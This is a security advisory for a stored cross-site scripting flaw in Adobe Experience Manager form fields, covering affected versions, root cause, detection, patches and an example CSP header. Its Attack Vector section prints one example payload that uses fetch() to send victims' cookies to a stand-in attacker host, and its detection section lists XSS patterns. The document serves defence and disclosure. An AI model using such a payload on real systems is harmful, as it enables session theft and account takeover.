CVE-2026-47974: Adobe Experience Manager XSS Vulnerability

CVE-2026-47974 Overview

CVE-2026-47974 is a stored Cross-Site Scripting (XSS) vulnerability affecting Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and earlier. A low-privileged attacker can inject malicious JavaScript into vulnerable form fields. The payload executes in a victim's browser when they navigate to a page containing the affected field. The vulnerability has a changed scope, meaning exploitation can affect resources beyond the vulnerable component's security boundary. Adobe disclosed the issue in security bulletin APSB26-56. The vulnerability maps to [CWE-79] Improper Neutralization of Input During Web Page Generation.

Critical Impact
An authenticated low-privileged attacker can execute arbitrary JavaScript in victim browsers, enabling session hijacking, credential theft, and content defacement within the AEM application context.

Affected Products

Adobe Experience Manager 6.5.24 and earlier
Adobe Experience Manager LTS SP1 and earlier
Adobe Experience Manager 2026.04 and earlier (including AEM Cloud Service)

Discovery Timeline

2026-06-09 - CVE-2026-47974 published to NVD
2026-06-10 - Last updated in NVD database

Technical Details for CVE-2026-47974

Vulnerability Analysis

The vulnerability resides in form-handling components of Adobe Experience Manager. AEM fails to properly neutralize user-supplied input before storing it and rendering it back in form fields. When an authenticated low-privileged user submits crafted input containing JavaScript, the application persists the payload without adequate sanitization or output encoding.

When another user, typically a higher-privileged administrator or content editor, browses a page that renders the stored content, the injected script executes within their browser session. Because the CVSS scope is changed, the impact extends beyond the form rendering component into adjacent authenticated sessions and authorization contexts.

The attack requires network access, user interaction (a victim visiting the page), and low-privilege authentication. Confidentiality and integrity impact are limited to data accessible from the victim's authenticated session.

Root Cause

The root cause is improper neutralization of input during web page generation [CWE-79]. AEM accepts form field input from authenticated users and stores it in the JCR (Java Content Repository) without applying context-aware output encoding when the data is later rendered into HTML. Specifically, special HTML and JavaScript characters such as <, >, ", and ' are not consistently escaped in the affected form field rendering paths.

Attack Vector

An attacker requires a low-privileged authenticated account on the AEM instance. The attacker submits a payload such as <script>fetch('//attacker.tld/?c='+document.cookie)</script> into a vulnerable form field. AEM stores the payload in the repository. When a victim user opens the page containing the field, the browser parses and executes the embedded JavaScript under the AEM origin. The attacker can exfiltrate session tokens, perform actions on behalf of the victim, or pivot to higher-privileged operations within the AEM administrative interface.

No verified public exploit or proof-of-concept code is currently available for this vulnerability.

Detection Methods for CVE-2026-47974

Indicators of Compromise

Form field values in the JCR containing HTML tags such as <script>, <img onerror=>, <svg onload=>, or javascript: URI schemes
Outbound HTTP requests from authenticated AEM admin sessions to unknown external domains
Unexpected cookie or token transmission in browser network logs originating from AEM author or publish instances
Anomalous content modifications by low-privileged author accounts targeting form components

Detection Strategies

Review AEM audit logs for content modifications by low-privileged users on form-bearing pages and components
Run JCR queries against cq:Page and nt:unstructured nodes to identify stored properties containing script tags or event handler attributes
Inspect Content Security Policy (CSP) violation reports from AEM dispatcher and publish instances for blocked inline script executions
Correlate web access logs for sequential form-submission requests followed by admin page visits from different user accounts

Monitoring Recommendations

Enable verbose Sling request logging on form submission endpoints and store logs in a centralized SIEM
Monitor browser-reported CSP violations and forward them to a security analytics platform for correlation
Track privilege use and content authoring activity from non-administrative accounts in AEM
Alert on outbound network connections from administrator workstations to newly observed domains during AEM authoring sessions

How to Mitigate CVE-2026-47974

Immediate Actions Required

Apply the security updates referenced in Adobe Security Bulletin APSB26-56 to all AEM 6.5, LTS, and Cloud Service instances
Audit low-privileged author accounts and revoke unnecessary form-editing permissions
Scan the JCR for previously stored payloads containing script tags or JavaScript event attributes and remediate findings
Rotate session tokens and administrative credentials if exploitation is suspected

Patch Information

Adobe released fixed versions addressing CVE-2026-47974 as documented in security bulletin APSB26-56. Customers running Adobe Experience Manager 6.5.24, LTS SP1, 2026.04, or earlier must upgrade to the patched releases identified in the Adobe advisory. AEM as a Cloud Service customers should validate that their environment is running the fixed release version.

Workarounds

Deploy a strict Content Security Policy that disallows inline scripts and restricts script sources to trusted origins
Configure the AEM Dispatcher to filter request parameters containing HTML or script syntax targeting form endpoints
Restrict form authoring permissions to vetted users and require review workflows before content publication
Apply web application firewall rules that block requests containing common XSS payload patterns directed at AEM form submission paths

bash

# Example Content Security Policy header for AEM Dispatcher (Apache httpd)
Header always set Content-Security-Policy "default-src 'self'; \
  script-src 'self'; \
  object-src 'none'; \
  base-uri 'self'; \
  frame-ancestors 'self'; \
  report-uri /csp-report-endpoint"